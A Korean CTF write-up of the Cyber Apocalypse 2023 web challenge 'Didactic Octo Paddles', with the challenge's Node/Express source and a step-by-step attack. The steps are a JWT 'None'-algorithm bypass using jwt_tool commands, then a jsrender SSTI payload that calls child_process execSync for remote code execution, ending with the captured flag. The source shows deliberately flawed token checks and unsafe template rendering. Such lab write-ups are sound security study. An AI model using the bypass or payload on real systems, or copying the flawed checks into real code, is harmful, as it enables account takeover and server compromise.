CTF/Cyber Apocalypse 2023

[Clear] Cyber Apocalypse 2023 Didactic Octo Paddles Writeup

Vardy 2023. 3. 23. 14:42

주어진 페이지에 접근하니 로그인 창이 나타났다.

 

주어진 소스코드를 분석해보았다.

 

UI상에 나타나지는 않지만 index.js 파일을 분석해보니 회원가입 기능이 있었다.(/register)

//index.js

module.exports = (db) => {
    const bcrypt = require("bcryptjs");
    const router = require("express").Router();
    const jwt = require("jsonwebtoken");
    const jsrender = require("jsrender");
    const AuthMiddleware = require("../middleware/AuthMiddleware");
    const AdminMiddleware = require("../middleware/AdminMiddleware");
    const { tokenKey, getUserId } = require("../utils/authorization");

    const response = (data) => ({ message: data });

    router.get("/", AuthMiddleware, async (req, res) => {
        try {
            const products = await db.Products.findAll();
            res.render("index", { products: products });
        } catch (error) {
            console.error(error);
            res.status(500).send("Something went wrong!");
        }
    });

    router.get("/register", async (req, res) => {
        res.render("register");
    });

    router.post("/register", async (req, res) => {
        try {
            const username = req.body.username;
            const password = req.body.password;

            if (!username || !password) {
                return res
                    .status(400)
                    .send(response("Username and password are required"));
            }

            const existingUser = await db.Users.findOne({
                where: { username: username },
            });
            if (existingUser) {
                return res
                    .status(400)
                    .send(response("Username already exists"));
            }

            await db.Users.create({
                username: username,
                password: bcrypt.hashSync(password),
            }).then(() => {
                res.send(response("User registered succesfully"));
            });
        } catch (error) {
            console.error(error);
            res.status(500).send({
                error: "Something went wrong!",
            });
        }
    });

    router.get("/login", async (req, res) => {
        res.render("login");
    });

    router.post("/login", async (req, res) => {
        try {
            const username = req.body.username;
            const password = req.body.password;

            if (!username || !password) {
                return res
                    .status(400)
                    .send(response("Username and password are required"));
            }

            const user = await db.Users.findOne({
                where: { username: username },
            });
            if (!user) {
                return res
                    .status(400)
                    .send(response("Invalid username or password"));
            }

            const validPassword = bcrypt.compareSync(password, user.password);
            if (!validPassword) {
                return res
                    .status(400)
                    .send(response("Invalid username or password"));
            }

            const token = jwt.sign({ id: user.id }, tokenKey, {
                expiresIn: "1h",
            });

            res.cookie("session", token);

            return res.status(200).send(response("Logged in successfully"));
        } catch (error) {
            console.error(error);
            res.status(500).send({
                error: "Something went wrong!",
            });
        }
    });

    router.get("/cart", AuthMiddleware, async (req, res) => {
        try {
            let products;
            const userId = getUserId(req.cookies.session);
            const cart = await db.Carts.findOne({ where: { userId: userId } });

            if (cart && cart.productIds) {
                products = await db.Products.findAll({
                    where: {
                        id: JSON.parse(cart.productIds),
                    },
                });
            }

            res.render("cart", { products: products });
        } catch (error) {
            console.error(error);
            res.status(500).send("Something went wrong!");
        }
    });

    router.post("/add-to-cart/:item", AuthMiddleware, async (req, res) => {
        const item = req.params.item;
        const userId = getUserId(req.cookies.session);

        try {
            if (!item) {
                return res
                    .status(400)
                    .send(response("Item needs to be specified"));
            }

            const cart = await db.Carts.findOne({ where: { userId: userId } });

            if (!cart) {
                const newCart = db.Carts.build({
                    userId: userId,
                    productIds: JSON.stringify([item]),
                });
                await newCart.save();
                return res.send(response("Item added to cart!"));
            }

            if (cart.productIds.includes(item)) {
                return res
                    .status(400)
                    .send(response("Product already in cart"));
            }
            const productIds = JSON.parse(cart.productIds);
            productIds.push(item);

            await db.Carts.update(
                { productIds: JSON.stringify(productIds) },
                { where: { userId: userId } }
            );

            return res.send(response("Item added to cart!"));
        } catch (error) {
            console.error(error);
            res.status(500).send({
                error: "Something went wrong!",
            });
        }
    });

    router.post("/remove-from-cart/:item", AuthMiddleware, async (req, res) => {
        try {
            const item = req.params.item;
            if (!item) {
                return res
                    .status(400)
                    .send(response("Item needs to be specified"));
            }

            const userId = getUserId(req.cookies.session);

            const cart = await db.Carts.findOne({ where: { userId: userId } });
            if (!cart) {
                return res.status(404).send(response("Cart not found"));
            }

            const productIds = JSON.parse(cart.productIds);
            const index = productIds.indexOf(item);
            if (index === -1) {
                return res.status(404).send(response("Item not found in cart"));
            }

            productIds.splice(index, 1);

            await db.Carts.update(
                { productIds: JSON.stringify(productIds) },
                { where: { userId: userId } }
            );

            res.send(response("Item removed from cart!"));
        } catch (error) {
            console.error(error);
            res.status(500).send({
                error: "Something went wrong!",
            });
        }
    });

    router.get("/admin", AdminMiddleware, async (req, res) => {
        try {
            const users = await db.Users.findAll();
            const usernames = users.map((user) => user.username);
            console.log("***************************************")
            console.log("[*] username : ")
            console.log(usernames)
            console.log("***************************************")
            res.render("admin", {
                users: jsrender.templates(`${usernames}`).render(),
            });
        } catch (error) {
            console.error(error);
            res.status(500).send("Something went wrong!");
        }
    });

    router.get("/logout", async (req, res) => {
        res.clearCookie("session");
        return res.redirect("/");
    });

    return router;
};

회원가입 후 로그인을 해보았지만 특별한 기능이 보이지는 않았다.

 

/admin 이 별도로 존재하는것으로 보아 admin 권한이 필요 할 것 같아서 해당 부분을 집중적으로 분석해보았다.

    router.get("/admin", AdminMiddleware, async (req, res) => {
        try {
            const users = await db.Users.findAll();
            const usernames = users.map((user) => user.username);
            console.log("***************************************")
            console.log("[*] username : ")
            console.log(usernames)
            console.log("***************************************")
            res.render("admin", {
                users: jsrender.templates(`${usernames}`).render(),
            });
        } catch (error) {
            console.error(error);
            res.status(500).send("Something went wrong!");
        }
    });

AdminMiddleware 를 통해서 admin인지 검증이 되면, 모든 사용자 목록이 admin.jsrender 를 통해 렌더링 되어 출력되는 방식이었다.

 

우선 AdminMiddleware의 내용을 분석해보았다.

//AdminMiddleware.js
const jwt = require("jsonwebtoken");
const { tokenKey } = require("../utils/authorization");
const db = require("../utils/database");

const AdminMiddleware = async (req, res, next) => {
    try {
        const sessionCookie = req.cookies.session;
        console.log("[*] req.cookies.session : ")
        console.log(sessionCookie)
        console.log("-----------------------------")
        if (!sessionCookie) {
            return res.redirect("/login");
        }
        const decoded = jwt.decode(sessionCookie, { complete: true });
        console.log("[*] const decoded = jwt.decode(sessionCookie, { complete: true }); // decoded ")
        console.log(decoded)
        console.log(decoded.header.alg)
        console.log("-----------------------------")

        if (decoded.header.alg == 'none') {
            return res.redirect("/login");
        } else if (decoded.header.alg == "HS256") {
            const user = jwt.verify(sessionCookie, tokenKey, {
                algorithms: [decoded.header.alg],
            });
            if (
                !(await db.Users.findOne({
                    where: { id: user.id, username: "admin" },
                }))
            ) {
                return res.status(403).send("You are not an admin");
            }
        } else {
            const user = jwt.verify(sessionCookie, null, {
                algorithms: [decoded.header.alg],
            });
            if (
                !(await db.Users.findOne({
                    where: { id: user.id, username: "admin" },
                }))
            ) {
                return res
                    .status(403)
                    .send({ message: "You are not an admin" });
            }
        }
    } catch (err) {
        return res.redirect("/login");
    }
    next();
};

module.exports = AdminMiddleware;

디폴트로 정의된 HS256 알고리즘을 사용한 jwt토큰이라면 tokenKey 값을 사용하여 검증을 하므로 사실상 공격이 불가능했다.
처음 조건에 알고리즘이 none인 경우를 바로 필터링하기 때문에 또 다른 알고리즘인 RS256 등의 방식으로 토큰을 재정의하는 방식을 생각했다.

즉,  payload의 id값이 admin의 id값으로 변조된 HS256이 아닌 알고리즘을 쓰는 jwt를 생성해서 사용한다면 admin계정을 탈취 할 수 있을것이다.

 

회원 가입 후 발급받은 jwt의 내용을 보니 id 값이 2였다. admin의 id값은 1일 것이라고 생각했다.

이전에 업무를 하면서 알게 된 Tool을 활용하여 삽질을 해봤으나, 잘 되지 않았다.

https://github.com/ticarpi/jwt_tool

 

GitHub - ticarpi/jwt_tool: A toolkit for testing, tweaking and cracking JSON Web Tokens

:snake: A toolkit for testing, tweaking and cracking JSON Web Tokens - GitHub - ticarpi/jwt_tool: A toolkit for testing, tweaking and cracking JSON Web Tokens

github.com

 

다시 한번 소스를 분석해보다가 아래 부분에서 알고리즘이 소문자 'none'인지 여부만 검사하는 로직을 보고, jwt 공격 기법 중에 알고리즘을 None, nOne .. 와 같이 바꿔서 exploit하는 기법이 생각나서 시도해보았다.

if (decoded.header.alg == 'none') { ...

 

python3 jwt_tool.py [토큰] -X a 
## -X : exploit option

python3 jwt_tool.py [알고리즘이 None으로 변경된 토큰] -T
## -T : Tempar option

알고리즘을 'None' id를 1 로 바꾼 토큰을 활용하여 /admin에 접근하니 관리자 페이지에 접근 할 수 있었다.

 

하지만, 모든 User 조회 외 별다른 기능이 없었기 때문에 admin페이지에 작동 방식을 다시 분석해보았다.

 

    router.get("/admin", AdminMiddleware, async (req, res) => {
        try {
            const users = await db.Users.findAll();
            res.render("admin", {
                users: jsrender.templates(`${usernames}`).render(),
                // **************************************************** (1)
            });
        } catch (error) {
            console.error(error);
            res.status(500).send("Something went wrong!");
        }
    });

(1)을 보면 usernames 값을 활용하여 jsrender template를 활용하므로 아래와 같은 시나리오를 구성해 보았다.

 

1. jsrender template의 SSTI 공격 구문을 ID로 하여 회원 가입

2. 관리자 페이지 접근 시 SSTI 구문이 실행되며 RCE

 

우선, jsrender라는 것이 일반적인 SSTI 예제에 등장하지는 않았던 것 같아서 jsrender 템플릿에도 SSTI 공격이 유효한 사례가 있는지 조사해보았다.

https://appcheck-ng.com/template-injection-jsrender-jsviews

 

Template Injection: JsRender/JsViews | AppCheck

In this blog post we will explore Template Injection attacks against the JsRender/JsViews library, a successor to jQuery Templates . The impact of the attacks ranges from Cross-Site Scripting when used in client-side applications to Remote Code Execution w

appcheck-ng.com

 

위 내용을 참고하여 우선 유효한지 확인하기 위해 id값을 {{:7*7}} 로 하여 가입 후 admin페이지를 조회해 보았다.

 

{{:7*7}} 이 49로 반영됨을 확인함으로써 SSTI 공격이 가능함을 확인했다.

 

플래그를 읽는 RCE 구문이 포함된 SSTI 구문을 활용하여 회원가입을 시도하였다.

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat ../flag.txt').toString()")()}}

해당 exploit payload가 유효하여 플래그를 획득 할 수 있었다.

 

FLAG = HTB{Pr3_C0MP111N6_W17H0U7_P4DD13804rD1N6_5K1115}

반응형